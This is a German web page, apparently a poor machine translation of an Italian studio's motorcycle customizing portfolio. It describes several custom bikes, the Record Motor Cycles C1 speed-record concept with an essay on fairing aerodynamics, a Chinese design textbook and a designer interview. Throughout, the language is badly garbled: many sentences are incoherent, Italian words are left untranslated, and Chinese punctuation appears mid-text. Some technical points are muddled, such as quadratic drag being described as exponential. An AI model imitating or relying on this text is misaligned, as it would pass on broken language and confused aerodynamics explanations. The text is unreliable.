Moto Guzzi V11 “Darkest”

Die Anpassung des Motorrads unterscheidet sich etwas von jeder anderen Art der Suche kann jeder tun.

Es unterscheidet sich von der technologischen Forschung auf die Schaffung oder Erfindung von etwas gerichtet, Es unterscheidet sich von der Designforschung, die während der Vorstellung von etwas getan werden kann,, Es unterscheidet sich auch von der Anpassung, die in anderen Bereichen getan werden kann,. Vom frivolsten wie die Farbe der Socken auf die wichtiger als die große architektonische Renovierung zu wählen, aber eigentlich auch sehr verschieden von der ähnlichen Praxis ein Auto von Customizing.

Die machen ein Motorrad, wie ähnlich sich selbst oder ihre Ideen oder Idealen oder ihre Stile ist eine Operation, die für die meisten der Entwicklung stehen viele Stunden beinhaltet seitwärts nur sitzen auf dem Fahrrad suchen, vorstellen, Träumerei.

Wenn wir von unserem Fahrrad denken, stellen sie als wesentliche Ergänzung. Es kann nichts sein, das nicht ist, wie wir es wollen, kein Stück, keine Schraube, keine Farbe, keine Reflexion, kein Schatten.

Unser Moto Guzzi V11 ist unserer Meinung nach machte die echte TAILOR zu Motorrädern angewandt.

Eine sorgfältige Definition des Geschmacks und der Stil des Kunden, wie er fährt, wie er sich kleidet, was er will und was er nicht mag, wie fürsorglich und wie er malträtiert.

Kein auffälliges Element, sondern eine Reihe von eleganten Oberflächen und Teilen, ein Motorrad “gut” und lecker, aber nicht schreit und ist nicht auffällig. Ein Gleichgewicht der Farben und kleine Details zu entdecken, sondern vor allem zu verwenden, angewandt auf eine einfache, aber leistungsfähige mechanische Basis. Ein funktionelles Fahrrad aber mit dem Geschmack der traditionellen und macht Sie auf die angenehme Arbeit gehen und macht Sie sich besser in den Tag starten.

Samurai Chopper

Wenn ich sehe, unsere Samurai verstummten ...

niedrig , lang, schmal und schwarz, so dass Sie Angst haben, es zu fahren und den Wunsch zu zähmen.
Auf den ersten Blick scheint die Samurai Chopper ein Tor mit Rädern van, ein Mikrobehälter und die Masse der Zylinder, die und carteroni, stoppen Sie dann auf die Lokomotive Bremsen und die Kontrollen auf den Mikroschalter und starten Brille ... Langsam beginnen von einem Detail zum anderen zu bewegen Springen, von einem Kontrast, Verschoben von anderen. Der Wechsel zwischen den schwarzen, Chrom und Messing ist hypnotisch wie ein Flipper vollen Bonus Ball.

Haben Sie auf den Armen der schönen Billet-Aluminium durch Farbe und versteckt aus echtem Stahl Auspuffrohr gerade verborgen bleiben aus 2 bloßer Zoll.
Siehe erstaunliche Suspension und flauschige aber keinen Schatten eines Dämpfers sehen. Siehe seltsame Muttern nur in entfernten Konstellationen Protokolle Verbindungen mit Uni-Kugelgelenke mikrometrischer Regulierung Vorspannung ziehen nulla.Poi das Gemälde zu sehen und beginnen in allen Schwarzwerte zu erhalten, die in einem so kleinen Tank passen.
und Chrom, die Federn von Springer, chiatto Lenker und gerade und catenone als Brücke auf der Themse.
Dann springen Sie auf und Teile und Sie sind der glücklichste Mensch auf Erden.

Samurai Chopper Given Officine Riunite Milanesi

Triumph Speed Triple 1050 “Geschwindigkeit Schwarz”

La Triumph Speed Triple 1050 Es ist eines unserer Lieblings Motorrad, seine Radfahren Einstellung, Ästhetik, die Fahrposition, Motoreigenschaften machen es die perfekte Mischung aus Aussehen, Spaß, Usability und Look!
Vielleicht sind wir nicht nur für die typische Chromdoppeloptik dieses Fahrrades und die vorherigen Serie, aber es bleibt ein wichtiges Unterscheidungsmerkmal einzigartig und unverwechselbar, daher unmöglich, es zu entfernen.
Für dieses Bike so entschieden wir uns für eine leichte Neugestaltung des hinteren Lichtbereich, sehr wichtig und schwere Basis, Realisieren ad hoc und eine Scheinwerferhalterungsplatte mit reduzierten Abmessungen.
Alle wurde die Warteschlange dann abgespeckt und dank der geringen Entladung und Kurz, sehr Rennen, was dem Fahrrad eine viel schlankere Bild.

Das Gesamtergebnis ist ein schönes Fahrrad, leicht zu sehen und zu verwenden, leicht und angenehm zu fahren dank Grafik “Ton Ton” Es bleibt ein geheimnisvoll und elegant Objekt, das von Straßen Quarz und unterbrochen von Noten von Metropolitan-Club beleuchtet durch die Stadt in der Nacht wandert.

HARLEY DAVIDSON XR1200 “finden”

L'Harley Davidson XR 1200 Es ist eine schöne mechanische Basis, ein Motorrad, das für sein für seine typische Einfachheit der Harley, sondern auch zu erobern in der Lage, “Schlechtigkeit” Radfahren und formellere europäisches Motorrad.

Für dieses Fahrrad wollten wir Licht arbeiten, um die Alltagstauglichkeit zu bewahren und einfache Bedienung. Wir hielten auch den Beifahrersitz (denn nichts ist schöner als mit dem Motorrad mit ihrem Partner zu reisen), auch bleibt es der Frame-Serie im hinteren Bereich, ein schönes Gießen nach unten gebogenen, typisches Erbe der Harley Welt, die stark die Form des Schwanzes bestraft.

Sicherlich war die Hauptrede, dass das Abgassystem mit einem neuen sehr kurzen Schalldämpfer anstelle der beide großen Serie von Schalldämpfern, Dies gab den Anstoß für den Schwanz, und ein bemerkenswertes Stempel auf das Fahrrad. So unglaublich es um den Klang der Fahrspaß beitragen.

Für die Verarbeitung von Kunststoff bevorzugten wir, hier, einer Politik im Einklang mit unserem Stil folgen, nämlich die Dose zu entfernen und jedes Material verlassen und jede Funktion so viel wie möglich “ausgesetzt”. In diesem Fall, der Kunststoffkörper des Harley (einer der wenigen Harley mit Kunststoff) Es wurde von allen überflüssigen Verschönerung des Lackes entfernt, und das Material wurde gebracht “roh”. Dieses Ziel nennen wir “UNPAINT”.

In diesem Fahrrad macht jedes Stück, was er zu tun hat, die Leistung wurde Seele verstärkt, die Harley nie auf einem Motorrad gesetzt hatte; Schneiden, mit zwei Zylindern, die Luft, molloni amortisieren, frenoni Bordsteinkante und ein wenig plasticaccia wo nötig.

Ein Renegade Tracker 300

Für UM Globale machten wir einen kleinen Scrambler und ein kleines Wunder.
Nur eine Woche nach der Internationalen Messe von Mailand EICMA Motorrad, Wir erhalten ein Paket mit einer Reihe von Stücken und ein Paar Rahmen verbunden werden, im Wesentlichen es kam ein Motorrad mit zwei zu machen, von einem vorderen Ende, der andere Motor, Aufbauten von einem Reservoir und den anderen.

Das Ergebnis spricht für sich, mit nur drei Tagen intensiver Sitzungen WIG-Schweißen, Wir von Grund auf neu aufgebaut Rahmen und angepasst, alle Teile und Aufbauten von mechanischen. Eine Reihe von Details wurden mit 3D-Druck oder manuell durch die Mühle erstellt /.

Das Fahrrad ist eine perfekte Verkörperung eines modernen urbanen Scrambler, Licht (300cc Motor 4 Preise Wasser), kleine Räder, extrem Spaß und einfach zu handhaben.

Das Fahrrad war ein großer Erfolg auf der letzten Internationalen Ausstellung von Mailand EICMA Motorrad 2015, UM nähert sich der Stil, was sind die Anforderungen der neuen (für sie) europäischer Markt.

Record Motor Cycles c1

RECORD MOTOR CYCLES c1

auf der EICMA Unveiled 2015, al Dainese D-Store, die 18 November 2015 Das Konzept Rekord Motor Cycles C1 ist die Vorschau eines neuen ehrgeizigen Projekt von Roberto Crepaldi.

Das Modell von Gegeben Design mit der technischen Mitwirkung von In-Motion entwickelt und hergestellt hat uns die ganzen Teil der Transformation von der Skizze bis zum endgültigen Modell Stil beteiligt gesehen, durch Modellierung Hull, 3D-Scanning-Pilot, und die Rekonstruktion des gleichen Pilotmuster. Alle einmal mehr ‚perfekte Integration der Silhouette des Piloten mit dem Rumpf, Diese Achtung und Einhaltung der von dem FIA-Reglement auferlegten Grenzen.

Weitere Informationen finden Sie unter RECORDMOTORCYCLES.COM

In diesen Bildern können Sie die Bauphasen des Modells sehen und den Rahmen benötigt, um den realen Piloten in 3D scannen.

Der Rumpf der Verarbeitungsschritte und der Rahmen vor dem Lackieren.

Das fertige Fahrrad in unserer Werkstatt.

Einige Fotos von der Vorbereitung und Präsentation des Modells.

ein "klein" Tiefe technische sull'aereodinamica Ergebnis von Riccardo Capacchione RMC:

Das Gehäuse und das AERODYNAMIK

Der sichtbarste Bestandteil unseres Bikes Speed Record ist auf jeden Fall die Verkleidung. Auch „Rumpf“ genannt, Es führt eine Doppelfunktion: natürlich ästhetische und funktionale aerodynamische Effizienz. Die ästhetische Komponente ist Gegenstand des Designers ist aber nicht beschränkt, wie Sie vielleicht denken, „Sexy“ Linien zu verfolgen, zu befriedigen vermag die wahrscheinlichen Kunden. Roberto Crepaldi, der Schöpfer des Projekts Recordmotorcycles, Er zog die ersten Skizzen von Stil mit dem klassischen Weiß des Papiers und Kohle System. Diese wurden dann digital verarbeitet, von unserem Donato Cannatello, ein Spezialist auf diesem Gebiet (www.given.it), werden schnell bearbeitet und überarbeitet. Donato hat auch eine 3D-Scannen der gesamten Motorrads-Pilotanlage durchgeführt, um eine Dimensionsanalyse und die Leistung der aerodynamischen Strömungen durchführt und weiter gemacht „solid“ Druck 3 Abmessungen der einzelnen betrachteten kritischen Bestandteil des gesamten Designwirtschaft, Auch die „taktile“ aus zum Teil auf CAD gezeichnet zu erreichen.

Das Gegenteil von Flug

Wie gesagt, die Verkleidung Design, welches die sehr wichtige Funktion dieses „Deckel“ durchgeführt, die das Fahrrad wickelt berücksichtigen müssen. Wir verweisen auf die aerodynamische Effizienz, da das Profil des Motorrades ist nichts anderes als eine Tragfläche des Kopfes ... (siehe Glossar, im Grunde). Das vordere Schutzblech ist ein integraler Teil der Verkleidung betrachtet als, ohne die Reifen, ist die Komponente, die die Luft während des Rennens zu „öffnen“.

Die Flüssigkeit, in der das Motorrad bewegt, prosaisch die „Luft“, Es wendet sich gegen die Bewegung der ... Bewegung, und dieser Widerstand steigt mit dem Quadrat der Geschwindigkeit: wenn wir die doppelte Geschwindigkeit, die Fr feste aerodynamische Kraft wird um das Vierfache erhöhen und so weiter, exponentiell. Versuchen Sie, eine Hand aus dem Fenster einer Beschleunigung Auto setzen, ein 130 km / h. Der Druck auf die Handfläche ist bereits erhebliche, vorstellen, jetzt ein 450 km / h oder so, was die Größe der Kräfte, mit denen er zu tun hat.

Der Kotflügel dann „offen“ der Luftstrom, es auf den Seiten der Verkleidung schleusen und die Verkleidung. Die besondere Form des „fender“ erzeugt auch einen Abwärtsschub, genannt „Abtrieb“ (Abtriebs), die komprimiert den Reifen auf der Straßenoberfläche,, zu vermeiden, dass die Bewegung der Schnauze hebt, nur wenn unser Fahrer möchte nicht. Dies ist eine Kraft direkt auf das Rad aufgebrachte, gegeben, dass das Schutzblech an den Gabelteil befestigt ist „Ruhe“ auf dem Boden und ist daher besonders wirksam,. Die gleiche Funktion wird durchgeführt durch Verkleidung, jedoch, dass „Schübe“ auf dem Motorrad Teil, der „oben“ die Suspensionen dieser und unsere Designer liegt, Leng. Giulio Bernardelle, muss berücksichtigen (Es dauerte Konto ...) in der Berechnung der Gabelfeder, fordert die maximale Geschwindigkeit eine viel höhere Belastung als die messbare in Bewegung stoppt zu unterstützen. Der Abtrieb durch die Verkleidung erzeugt wird daher eine geringere reale Wirkung als die des vorderen Kotflügels, sondern wird viel größere Oberfläche ausgesetzt, der Schub wird immer noch erheblich sein.

Die Bedeutung einer harmonischen Hüften

Die Verkleidung empfängt den Luftstrom von dem Kotflügel ordnungsgemäß an den Flanken verbunden kommenden. Ihre Form verhindert, dass die Luftstrom bewegt sich in einer ungeordneten Weise und schützt, ebenso wie die Verkleidung für den oberen Abschnitt, der Pilot. Stiefel, Beine, Hände, Helm, zurück, so sind sie „unter“ der starken Luftstrom und nicht unvorhersehbar Verwirbelungen erzeugen, was die Stabilität des Motorrads stören. Tatsächlich fließt die Luft in direktem Kontakt mit den Oberflächen der Verkleidung bewegt wirbelnde Bewegung um eine Schicht zu schaffen - so dünn wie möglich - wo die Wirbel Jagd, Rutschen auf dem hinteren Teil des Fahrrads. . Oberhalb dieser „Grenzschicht“, Wenn das Gehäuse und ist so konzipiert,, wird die Luft in einem viel geordneteren bewegt, das „laminare Fluß“, das verbessert die aerodynamische Effizienz des Fahrrads. Es ist ein sehr wichtiger Aspekt und ist einer der Kompromisse bei der Gestaltung wurde gezwungen, zu akzeptieren,. Nicht in der Lage, vollständig die Luftströmung in „laminar“ zu reduzieren versuchen, die Verwirbelung zu minimieren und der Grund ist alles in Ordnung: Wirbel zu erzeugen, ist notwendige Energie von irgendwo zu ziehen (denken Sie an die Wirbelstürme, die das Meer Wärme füttern und verschwinden, wenn diese nicht vorhanden ist), und die einzige verfügbare Energie wird von unserem V8-Motor produziert. Dies bedeutet, dass ein Teil (bemerkenswert) Macht verbringt „um die Luft zu laufen“ und nicht das Rad zu beschleunigen. Auch Wirbel, die Stabilität untergräbt, zusätzlich eine wenig Wirkung angenehm für den Piloten mindestens so viel wie der oben beschriebenen Schwall zu sein, Es ist eine andere Art und Weise Energie an den Motor zu subtrahieren.

Die Seiten Saran schön, aber der Schwanz ...

Abgesehen von den Seiten des Rumpfes Zopf „schließt“ den Luftstrom, in dem die Motorrad bewegt, um keine Wirbel in dem hinteren Abschnitt zu erzeugen,. Was wiederholt, die Turbulenzen verlangsamt das Fahrrad, in diesem Fall, als ob es eine „riesige Hand“ war das Ziehen des Fahrzeugs zurück. Unser Schwanz ist sehr hoch, aber wir hätten sogar noch höher gezogen maximale Effizienz zu erreichen. Es gibt Grenzen, jedoch, die mit der Verordnung, präzise. Der Schwanz kann nicht höher sein (Messen vom Boden) Doppelten des Radius des Rades als. Die Form, die für den Teil des pigtail Terminal erwartet werden würde, ist die „Drop“, ein gekrümmtes Profil, das die Silhouette schließt, filleting Formen gemäß glatten Linien. gut, Diese Lösung würde davon profitieren, wenn die Länge der gesamten Motorrad Silhouette mindestens sieben Mal größer ist als die Mitschiffsektion war. Ein Augenblick, wir erklären.

Der „Hauptteil“ ist die größte erkannte Fläche auf einer Ebene senkrecht zur Längsachse des Fahrrads. Immer noch zu „chaotisch“ Erklärung? Denken Sie dann von „Slicing“ das Fahrrad, wie Sie es mit einer gigantischen Mortadella. die, er, „Größte Scheibe“ steht für die Mitschiffsektion und da, im Gegensatz zu ... Mortadella, Diese Scheibe wird kein perfekter Kreis sein, wir müssen die zwei Umfangspunkte fernsten voneinander betrachten. Dies ist der Abschnitt, um die minimale Länge des Motorrads in dem Fall, dass Sie die so genannten realisieren wollen berechnet werden „drop“.

mit dieser Methode fortfahren würde die Gesamtlänge bis zu acht Metern weit überlegen sein, unpraktisch für eine lange Reihe von Gründen. Nur ein zu nennen, denken Sie an das Paar von rechten Gieren, die einen seitlichen Windstoß verursachen würde ...

Wenn es nicht funktioniert,, besser „abgeschnitten“ ...

Der beste Weg ist, um in einer klaren Art und Weise die Umrisse des Motorrads „cut“, Dadurch erhält man die „verkürztes tail“. Sie notto, dass alle Autos keinen Tropfen zurück Design haben, aber endet mit einer scharfen vertikalen Linie? Jetzt wissen Sie, warum.

schließlich, der abgeschnittene Schwanz an ihre Grenzen und aerodynamische Wirbel hat auch dahinter geschaffen werden und wie, weil der Bereich hinter dem Motorrad nur von geringen Luftdruck. Die Luft wird „angesaugt“ in seinem Innern auf beiden Seiten in wirbelnde Bewegungen, die eine echte aerodynamische Bremse sind. Deshalb ist unsere Endrohre „Schlag“ in diesem Bereich, kommt von der Rückseite des Schwanzes aus: Erhöhen des Drucks in diesem Bereich dank der heißen Gase aus dem Motor kommen, Grenze einer Menge der schädlichen Wirkung der Wirbel. Wenn an dieser Stelle haben Sie sich gefragt, nicht das, was es dieses Element unter dem Rumpf vor dem Hinterrad angeordnet ist, Wir werden wir sagen,: es ist eine Komponente, die die Motorkühl Heizkörper enthält. Harness der Hochdruckzone gelegen ventral und der Niederdruck unmittelbar hinter dem „Behälter“. Die Druckdifferenz wird somit die Strömung der Luft zu beschleunigen, ausgenutzt, das so einfach zu „übergeben“, um die Buchsen an dem Frontelement ist und das vermittelt den aerodynamischen Strahl nach innen, genau dort, wo die Heizkörper angeordnet sind,. Der Niederdruckabschnitt, der unmittelbar hinter dem Förderer erzeugt wird,, saugt die Luft darin enthaltenen, hilft einen leistungsstarken Luftstrom zu erzeugen, die das Kältemittel in die Heizkörper fließen kühlen. Wenn wir wollen,, wir sind einfach brillant, vero?

Schließlich wird ein kurzes Glossar „Aerodynamik“:

ZIEHEN: ist die Fähigkeit, „zu graben“ (die sich auf die englische Verb) die Luft, einen „Pass“ für das Fahrrad zu öffnen.
CX: es ist ein Koeffizient berechnet wird, die die aerodynamische Eindringvermögen eines Fahrzeugs darstellt. In seiner Berechnung wird es berücksichtigt auch die „Drag“ genommen.
GRENZFLÄCHEN-: Es ist die Oberfläche, die die Luftschicht in wirbelnden aufteilt und dann unkontrollierte Bewegung, ein, in der das Fluid (die Luft) bewegt sich in geordneter Weise, als ob sie von „Klingen“ komponiert, nur.
DEPORTANZA: Es ist die Stärke der vertikalen Richtung in Bezug auf den Boden, erzeugt aufgrund der Druckdifferenz zwischen zwei Oberflächen. Im Flugzeug erzeugt, wobei das Strömungsprofil eine identische Stärke, aber im Gegensatz, Aufzug. Da der Flügel ist an der Oberseite und flache Kurve in dem unteren Teil, muss die Luft entlang der oberen Oberfläche beschleunigt am Ende des Flügels mit dem Teil des Stroms wieder zu vereinigen, dass die flachen Fläche fließt über. Für die Bernoulli, ein Unterdruck im oberen Teil des Flügels und einen „Druck“ dann am Boden geschaffen. Dies drückt die Ebene nach oben. In einem Motorrad (selbst) es nutzt das gleiche Prinzip, sondern im Gegenteil, das Fahrzeug nahe am Boden zu halten.

Angesichts der anspruchsvollen Technologien für die Konstruktion und den Bau jedes Detail des Motorrades verwendet, Es aktualisiert mit dem Upgrade von Farben, Auch haben sie die klassische weiße schwarz- verdrängte. ernst, Bleistift zwischen den Händen und dem Blatt Papier ist ein Referenzmaterial fast unverzichtbar für viele Designer. Ub Punkt des Übergangs zwischen der Gewerkschaft und kühnem Denken, die reale Welt und schließlich die Konfrontation mit der verfügbaren Technik (und Kosten), die unflexible Einheit, die innerhalb von endlichen Grenzen Immaterialität des kreativen Denkens Grenzen. kurzum, die Skizze sichtbar macht die Idee und ermöglicht es dem Ingenieur zu verstehen, welche die am besten geeignete für das Projekt und Machbarkeit neuer Lösungen oder Technologien, häufiger, wieder in neuen Formen und Kombinationen vorgeschlagen.

Das Design einer Verkleidung tatsächlich beginnt, von dem Frontflügel. Dies gilt für alle Fahrräder und vor allem für unsere, weil die Geschwindigkeiten während des „Speed Attack“ beteiligt werden für die auf jeden Fall von einem MotoGP von jedem Straßenmotorrad, sondern auch erreicht, weit überlegen sein. Während des Starts bei der maximalen Geschwindigkeit, Wir stehen vor einer echten „Luftwand“: der aerodynamische Widerstand in einer Fluid (die Luft, in anderen Worten:) Sie nimmt mit dem Quadrat der Geschwindigkeit. Um klar zu sein, Reisen auf 10 km / h erzeugt die Luft ein Datum Fr Kraft, die die Bewegung des Fahrrads gegenüber .... Wenn der passassimo 20 km / h, beständige aerodynamische Kraft wird viermal die gemessen in 10 km / h. Going to 40 km / h, der Fr Spiele 16 Manchmal Fr nachweisbar 10 km /(h usw.. EIN 450 km / h, vorstellen, dass die Intensität der aerodynamischen Kraft, dass „Push“ auf dem Gesicht unseres Fahrrades!

Versuchen Sie, eine Hand aus dem Fenster eines Autos mit einer Geschwindigkeit setzen 100 km / h (so) und Sie haben die Wahrnehmung des aerodynamischen Auftrieb zu einer sicherlich nicht sehr hohen Geschwindigkeit. Während Sie auf, versuchen, die Handfläche zu orientieren, indem sie sie der Luft ausgesetzt wird und dann seine Hand vollständig drehen und prüfen, wie die Stärke Änderungen durch die exponierte Oberfläche der Hand zu ändern.

Um zu verstehen, die entscheidende Rolle der verschiedenen Komponenten der Verkleidung oder besser, unserer Fahrrad Überbauten, vorstellen, auf dem Sattel ist und überquert eine vertikale Ebene im Raum. Kurz nach den Vorderreifen (wenn er sagt, „lo“, vero, aber es ist schrecklich zu lesen und zu hören ...) erreicht über 400 km / h der Kotflügel, deren Gestaltung trägt zu den Außenseiten nach oben und die Luftmoleküle zu bewegen,. Der Boost-Aerodynamik, Neben der Förderung der Bewegung zu bremsen, schiebt den Kotflügel nach unten, dass, Es ist an der Gabel beschränkt, Es hält den Kontakt zwischen Gummi und Boden. Die Verkleidung führt eine ähnliche Funktion, „Öffnen“, um den Luftstrom in einem kohärentere und weniger turbulent wie möglich. Auch er dank seiner Form erzeugt eine Kraft bei 90 ° in Bezug auf den Boden gerichtet, aber, Es ist mit dem oberen Teil des Fahrrads begrenzt, die mit dem Boden nicht in direktem Kontakt (ungefederte Masse), der Schub, wenn es wirkt auf Komprimieren Suspensionen zieht und dies muss in dem Moment zu berücksichtigen, in dem unser Ingenieur die „k“ wird darüber entscheiden,, die elastische Konstante (oder Härte, tun Sie ..) der Gabelfedern.

Lerntechniken und Design

Posted in China mit einer Auflage von 75.000 Kopie, für die Verwendung als technisches Handbuch in der chinesischen Fakultät für Maschinenbau, er Volumen "Technische Studien-und Design-" ist die dritte in einer Reihe von erfolgreichen technischen Handbücher von der produktivsten Professor geschrieben. Stein Wen.
Auf Inner beschreibt einige Produktionsprozesse von uns angepasst, sie zum Beispiel für junge chinesische Studenten, die.
Die Veröffentlichung dieses Buches war eine sehr angenehme und interessante Erfahrung.

Zusammenfassung

Die Temperatur betrug nur、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello bearbeitet die „Produkt-Design Quelle und einen Durchbruch“ von dem Punkt、Linie、Oberfläche、Ausgangskörper，So verfolgen Sie den Ursprung der Produktform，Die Punkte Quelle wieder zu starten，Wir erkundeten die Möglichkeit der Interpretation des reichen Styling，Leser Design der Natur Dialyse zu helfen。Dieses Buch stellt sechs Modellierungsmethode，4Ein Modellierungsschritt，3Produkte Einheit Tipps，Es stellt eine praktische und wirksame Methode zur Modellierung für die Leser in Design Arbeit beschäftigt。Für Freiformfläche，vorgeschlagen Hybrid、Geschlossen und Handeln denkt drei Arten von Modellierungstechniken，Es bietet gezielte Lösungen für den Leser der Freiformflächenmodellierung Schwierigkeiten zu steuern。Dieses Buch enthält die psychologische Trägheit zu gestalten，5 Gruppen vorgeschlagene Verfahren zur Modellierung psychologischer Trägheit und Durchbruch，Für die Leser, die Grenzen ihres eigenen Stil zu brechen，In die Modellierung Welt reicher öffnet sich ein Fenster。Das Buch interviewte eine Reihe von europäischen Top-Designern，Besuche vor einer Reihe von Italiens Top-Design-Firmen，Providing Leser mit einer neuen Design Informationen aus erster Hand，Durch eingehende Analyse dieser Entwurfsfälle，Wir können der Leser helfen, diese ausgezeichneten Designer Design-Methoden und ausgezeichneten Design-Case-Modellierung Prozess zu verstehen，Es hilft Leser Design-Vision und zur Verbesserung der ästhetischen Ebene des Lesers。

Interview Zusammenfassung:

1ein. Die Form der Motorräder hat immer große Veränderungen erfahren, da ihre Schwellen. Was denken Sie könnten die Faktoren in diesem Prozess beteiligt sein ändern?

Ich weiß nicht ganz einverstanden.

Die Seele der Motorräder hat sich in mehr als hundert Jahren im wesentlichen unverändert geblieben.
Und dies wird von einigen Modellen, die gerade in der Produktion bestätigt, die den Stil der klassischen Motorräder neu zu interpretieren, da sie das Wesen der Motorräder erinnern; zwei Räder, ein Motor, Schwingungen und Emotionen.
Die Änderungen in Formen und Stilen, die zwangsläufig mit der Zeit kam es abhängen meiner Meinung nach 4 Gründe dafür: Technik, Mode, kulturelle Entwicklung und Renn.

Zum ersten 80 Jahren haben wir in erster Linie auf technische Entwicklung konzentriert, Herstellung von Maschinen, die mehr richtet als enything sonst bis zur Perfektion und Leistung.
Im letzten 20 Jahre statt die Entwicklung der interessanteren Elemente der Technik und Rennen gestoppt, Verläßt die Entwicklung des Motorrades auf die einzigen sozio / kulturellen Aspekte.

Ab heute sind solche Aspekte in der Motorradproduktion vorherrschende und erzeugen nostalgische, absurd, futuristisch oder hyper detaillierte Modelle.

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.1b. In welcher Art und Weise die Form der europäischen Motorräder könnte in der Zukunft entwickeln?

Europäisches Design, wie östlichen und westlichen Design, folgende spezifische Erfordernisse wird spezialisieren; Form wird immer durch den Ort definiert, wo die Produktion beginnt.
Trotz der unvermeidlichen kulturellen Kontamination, Europäische Produktion wird immer auf ein Motorrad zielt darauf ab, das funktionell ist und leidenschaftlich, ein perfektes Gleichgewicht zwischen antreibenden und ästhetischen Eigenschaften, Spaß und Nutzen. Alles zu gehen zusammen mit unserem eigenen Territorium, so uneben, mit variabler Landschaften, kurvige Straßen und steile Hügel.

Wie amerikanische Produktion auf ihre endlosen Ebenen gewidmet und langen und geraden Straßen, und zugleich östlichen Produktion neigt dazu, die Märkte zu folgen, Städte und Straßen überfüllt mit äußerst funktional und rational Produkten.

Jedes ausgezeichnete Motorräder Design zeichnet sich durch seinen eigenen Stil gekennzeichnet, Fördern auf die besonderen Emotionen und Assoziationen Kunden. Als Designer, Wie beurteilen Sie die Persönlichkeit des Motorrads illustrieren durch die Formensprache mit ?

In Motorrad-Design, und ganz allgemein im Bereich Industriedesign, Band sind das Hauptmerkmal, die erste Nachricht an den Kunden vermitteln.
Ein Blick auf etwas gegen das Licht, man kann sofort spüren, seinen Charakter: wenn es vermittelt Macht, Leichtigkeit, Geschwindigkeit, Eleganz oder irgendetwas anderes.

Das gleiche passiert in der Natur, In der Dunkelheit erkennt man einen Pitbull von einem Pudel nur an seinen Umrissen.

Das Motorraddesign muss viele Teile berücksichtigen, wie das Chassis, der Motor und das Auspuffrohr und so weiter. Für Anfänger erscheint es kompliziert und überwältigend. Haben Sie Vorschläge, wie Sie die Haut ausgleichen können? (die Abdeckteile) mit der Struktur, um eine perfekte Vereinigung zu erreichen?

Es hängt davon ab, ob: Zeichnen wir auf einem weißen Blatt oder arbeiten wir an etwas?

Im Allgemeinen, Design sollte an erster Stelle stehen, vor Auspuffrohren, vor dem Rahmen und vor dem Motor. Design muss der erste Ansatz für ein Motorradprojekt sein. Die Mechanik folgt dann den Richtlinien des Entwurfs mit gegenseitiger Anpassung.

Wenn der Entwurfsansatz der Planung folgt (wie es beim Restyling passiert), dann müssen einige Fixpunkte festgelegt werden, um mit allen anderen frei fortzufahren. Für technische Objekte wie ein Motorrad, Es kann eine einfache Regel geben: Teile, die mechanisch interessant oder gut gemacht sind, müssen nicht abgedeckt werden, aber in Sichtweite gelassen. Wenn möglich, ist es vorzuziehen, ein nicht zufriedenstellendes technisches Teil neu zu entwerfen und es Teil des Entwurfs zu machen, anstatt es abzudecken.

Es gibt jedoch eine grundlegende Sache in unserer Gestaltung, Der Blickwinkel eines Motorrads ist niemals perfekt seitlich zum Fahrrad, sondern höher platziert; Lassen Sie uns dann nicht nur eine schöne Seitenansicht entwerfen, oft ist ein guter Anteil des lateralen / oberen Volumens wichtiger als die laterale Ansicht.

Bis zu einem gewissen Grad, die perspektivische Ansicht, Licht und Schatten eines Motorrads sind schwieriger zu kontrollieren als die eines Autos. Wie können wir das Skizzieren von Motorrädern besser kontrollieren?? Können Sie uns bitte den Zeichenprozess eines Motorrades zeigen?( durch die Nutzung 6 Bilder zur Erläuterung der Zeichenschritte). Für die jungen Studenten, So verbessern Sie die Zeichenfähigkeiten.

In Anbetracht der Schwierigkeiten des Motorraddesigns, Wir können es als mehrstufiges Design interpretieren.

1Eine erste Ebene, globale Vision, eine zweite Ebene, genauer, eine dritte Ebene, noch detaillierter, und so weiter. Die erste Ebene ist die wichtigste, was der Kunde auf den ersten Blick bekommt, Was vermittelt Ihnen das Vergnügen oder den Spaß eines Objekts?.
Ich arbeite nach dieser Regel.
Ausgehend von der Gesamtansicht (allgemeine Bände) und dann mit der Definition spezifischerer Details: der Schweif, die Front, der Rahmen, etc. bis zu den Schrauben.

Motorräder und Autos sind alle Transportfahrzeuge und das Formdesign von beiden ist natürlich miteinander verbunden. Dann, Was, denkst du, unterscheidet jeden von ihnen?

Historisch, Gebrauch und Funktion von Autos und Motorrädern waren schon immer unterschiedlich und damit auch das jeweilige Design.
Jetzt kreuzen sie sich, Entwicklung in alle Richtungen.
Früher hatten Autos als Hauptfunktion den Transport, während Fahrräder mehr mit der Idee der Form verbunden waren (Spaß, Geschmack, Geschwindigkeit).
Heute neigt der Markt dazu, jede Lücke zu füllen, und deshalb haben wir Autos, die reine Form sind, und Motorräder, die reine Funktion sind.

Für Motorräder ist diese Änderung inzwischen auf dem Markt konsolidiert (d.h., Roller), während diese neue Tendenz für Autos immer noch nicht vorherrscht, und interessiert eine kleinere Nische des Marktes; aber ich bin sicher, dass wir bald Autos mit dem Motor in Sichtweite sehen werden, "Nackt" als Motorräder.

Gegenwärtig, viele neue Technologien, wie Kohlefaser und LED, ist auf die Herstellung von Motorrädern angewandt. Wie werden diese neuen Technologien beeinflussen die Form Design der Motorräder?

Neue Technologien haben immer Design als wesentlicher Bestandteil ihres Entwicklungsprozesses beeinflusst.
Persönlich der wichtigste Beitrag, die ich erhalten und geschätzt von modernen Technologien hat in Produktionszahlen gewesen.
Heute ist es einfacher, eine kleine Serie von Motorrädern dank neuer Technologien zu bauen wie Kohlefaser, LEDs, CNC-Maschinen, Prototyping und neue Materialien.

Zum Beispiel, Prototyping und CNC-Fräsen auf modernen Materialien ermöglichen uns ein einzigartiges ABS-Stück, ohne teures und schwieriges Spritzgießen; Außerdem, dank Silikonstempeln, Wir können kleine Serien von Kopien aus Polyurethan mit geringen Kosten herstellen.
Auch polyelliptische Scheinwerfer (Noch besser mit LED-Technologie) hat dazu beigetragen, die Grenzen der Industrialisierung zu überwinden. Sie können in einer transparenten Plexiglasverkleidung versteckt werden, sie zu formen, ohne ein neues Licht homologieren zu müssen, wie es vorher notwendig war.
Und schließlich befreien uns Kohlenstoff und Laminate im Allgemeinen von strukturellen Grenzen des Kunststoffs, mit mechanischen und nicht nur ästhetischen Verbesserungen.

Einige der Top-Motorraddesigns werden von Hand gefertigt. Wie ist der Wert des Motorrads durch traditionelles Handwerk ausgedrückt?

Ich liebe und war schon immer ein Anhänger der Handarbeit.
